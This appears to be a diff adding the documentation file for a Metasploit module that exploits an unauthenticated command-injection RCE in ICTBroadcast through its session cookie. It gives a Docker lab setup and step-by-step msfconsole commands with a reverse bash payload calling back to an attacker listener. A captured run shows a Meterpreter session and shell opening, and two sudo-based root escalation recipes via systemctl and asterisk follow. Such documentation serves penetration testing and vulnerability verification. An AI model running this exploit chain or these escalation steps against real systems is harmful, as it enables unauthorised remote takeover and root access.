|
| 1 | +## Vulnerable Application |
| 2 | + |
| 3 | +This Metasploit module exploits an **unauthenticated remote code |
| 4 | +execution (RCE)** vulnerability in **ICTBroadcast**. |
| 5 | +The vulnerability exists due to improper handling of session |
| 6 | +cookies in the authentication mechanism. An attacker can inject arbitrary system commands by modifying the session cookie. |
| 7 | + |
| 8 | +The issue affects **various versions of ICTBroadcast**, but |
| 9 | +specific impacted releases are currently unknown. The vulnerability allows an attacker to execute shell commands **without authentication**. |
| 10 | + |
| 11 | +## Options |
| 12 | + |
| 13 | +None |
| 14 | + |
| 15 | +## Testing |
| 16 | + |
| 17 | +To test the exploit, spin up a vulnerable ICTBroadcast instance with Docker. |
| 18 | + |
| 19 | +```yaml |
| 20 | +services: |
| 21 | + db: |
| 22 | + image: mariadb:10.6 |
| 23 | + container_name: ictmysql |
| 24 | + restart: unless-stopped |
| 25 | + environment: |
| 26 | + MYSQL_ROOT_PASSWORD: root |
| 27 | + MARIADB_ROOT_HOST: '%' |
| 28 | + MYSQL_DATABASE: ictbroadcast |
| 29 | + MYSQL_USER: ictuser |
| 30 | + MYSQL_PASSWORD: ictpass |
| 31 | + volumes: |
| 32 | + - db_data:/var/lib/mysql |
| 33 | + ports: |
| 34 | + - "3306:3306" |
| 35 | + |
| 36 | + ictbroadcast: |
| 37 | + image: chocapikk/ictbroadcast-cve-2025-2611:latest |
| 38 | + container_name: ictbroadcast |
| 39 | + depends_on: |
| 40 | + - db |
| 41 | + ports: |
| 42 | + - "80:80" |
| 43 | + - "443:443" |
| 44 | + command: > |
| 45 | + bash -c " |
| 46 | + composer --working-dir=/usr require stefangabos/zebra_pagination && |
| 47 | + /usr/sbin/httpd -k start && |
| 48 | + /usr/sbin/php-fpm && |
| 49 | + tail -f /dev/null |
| 50 | + " |
| 51 | +
|
| 52 | +volumes: |
| 53 | + db_data: |
| 54 | +``` |
| 55 | +
|
| 56 | +1. Start the stack: |
| 57 | +
|
| 58 | +```bash |
| 59 | +docker compose up -d |
| 60 | +``` |
| 61 | + |
| 62 | +2. Verify that the login page is reachable at **`http://localhost/login.php`**. |
| 63 | + The application should issue a valid session cookie on first visit. |
| 64 | + |
| 65 | +3. Run the Metasploit module. |
| 66 | + The exploit will automatically harvest the session cookie (format may vary across deployments) |
| 67 | + and leverage it to execute arbitrary commands via the vulnerable endpoint. |
| 68 | + |
| 69 | +## Verification Steps |
| 70 | +1. Start **Metasploit Framework**: |
| 71 | +```bash |
| 72 | +msfconsole |
| 73 | +``` |
| 74 | + |
| 75 | +2. Load the module: |
| 76 | +```bash |
| 77 | +use exploit/linux/http/ictbroadcast_unauth_cookie |
| 78 | +``` |
| 79 | + |
| 80 | +3. Set the **target IP address**: |
| 81 | +```bash |
| 82 | +set RHOSTS <TARGET_IP> |
| 83 | +``` |
| 84 | + |
| 85 | +4. Set the **payload** for command execution: |
| 86 | +```bash |
| 87 | +set PAYLOAD cmd/unix/reverse_bash |
| 88 | +``` |
| 89 | + |
| 90 | +5. Configure the listener: |
| 91 | +```bash |
| 92 | +set LHOST <YOUR_IP> |
| 93 | +set LPORT 4444 |
| 94 | +``` |
| 95 | + |
| 96 | +6. Check if the target is vulnerable: |
| 97 | +```bash |
| 98 | +check |
| 99 | +``` |
| 100 | + |
| 101 | +7. Exploit the target: |
| 102 | +```bash |
| 103 | +exploit |
| 104 | +``` |
| 105 | + |
| 106 | +## Scenarios |
| 107 | + |
| 108 | +### Unauthenticated Command Execution |
| 109 | +**Note**: Ensure that the target is vulnerable using the `check` command before running the exploit. |
| 110 | + |
| 111 | +**Note**: The session cookie is retrieved dynamically and modified for command injection. |
| 112 | + |
| 113 | +```bash |
| 114 | +msf6 exploit(linux/http/ictbroadcast_unauth_cookie) > run http://lab |
| 115 | +[*] Started reverse TCP handler on 192.168.1.36:4444 |
| 116 | +[*] Running automatic check ("set AutoCheck false" to disable) |
| 117 | +[*] Checking ICTBroadcast via JS fingerprints |
| 118 | +[+] JS fingerprint found; performing timing tests |
| 119 | +[*] Retrieving session cookies dynamically |
| 120 | +[*] Found cookies: BROADCAST=49b067ae1fdfbcab3d73caa1c7e6d75a |
| 121 | +[+] The target is vulnerable. Injected RCE (slept 4s) |
| 122 | +[*] Sending stage (3090404 bytes) to 192.168.128.3 |
| 123 | +[*] Meterpreter session 4 opened (192.168.1.36:4444 -> 192.168.128.3:53178) at 2025-08-04 17:50:33 +0200 |
| 124 | + |
| 125 | +meterpreter > sysinfo |
| 126 | +Computer : 192.168.128.3 |
| 127 | +OS : Red Hat 8.10 (Linux 6.15.8-2-cachyos) |
| 128 | +Architecture : x64 |
| 129 | +BuildTuple : x86_64-linux-musl |
| 130 | +Meterpreter : x64/linux |
| 131 | +meterpreter > shell |
| 132 | +Process 877 created. |
| 133 | +Channel 1 created. |
| 134 | +SHELL=/bin/bash script -q /dev/null |
| 135 | +bash-4.4$ sudo -l |
| 136 | +sudo -l |
| 137 | +Matching Defaults entries for asterisk on f7681361bd20: |
| 138 | + !visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin, |
| 139 | + env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS", |
| 140 | + env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE", |
| 141 | + env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES", |
| 142 | + env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE", |
| 143 | + env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY", |
| 144 | + secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin |
| 145 | + |
| 146 | +User asterisk may run the following commands on f7681361bd20: |
| 147 | + (root) NOPASSWD: /usr/sbin/asterisk |
| 148 | + (root) NOPASSWD: /etc/init.d/asterisk |
| 149 | + (root) NOPASSWD: /etc/init.d/httpd |
| 150 | + (root) NOPASSWD: /etc/init.d/mysqld |
| 151 | + (root) NOPASSWD: /etc/init.d/kannel |
| 152 | + (root) NOPASSWD: /usr/sbin/ntpdate |
| 153 | + (root) NOPASSWD: /usr/sbin/rabbitmqctl |
| 154 | + (root) NOPASSWD: /bin/systemctl |
| 155 | +bash-4.4$ |
| 156 | +``` |
| 157 | +#### Low-hanging LPE via systemctl |
| 158 | + |
| 159 | +If `/bin/systemctl` is listed in sudo as NOPASSWD, you can escalate to root (outside Docker) via: |
| 160 | + |
| 161 | +```bash |
| 162 | +sudo systemctl |
| 163 | +!sh |
| 164 | +``` |
| 165 | + |
| 166 | +*Source: [https://gtfobins.github.io/gtfobins/systemctl/#sudo](https://gtfobins.github.io/gtfobins/systemctl/#sudo)* |
| 167 | + |
| 168 | +#### Low-hanging LPE via Asterisk NOPASSWD |
| 169 | + |
| 170 | +If `/usr/sbin/asterisk` is listed in sudo as NOPASSWD, you can obtain a root shell by: |
| 171 | + |
| 172 | +```bash |
| 173 | + # 1) Start Asterisk as root, in foreground so it creates its CLI socket |
| 174 | +sudo asterisk -F |
| 175 | + |
| 176 | + # 2) Connect to the Asterisk console and drop into a root shell |
| 177 | +sudo asterisk -r |
| 178 | +f7681361bd20*CLI> !sh |
| 179 | +sh-4.4# |
| 180 | +``` |
0 commit comments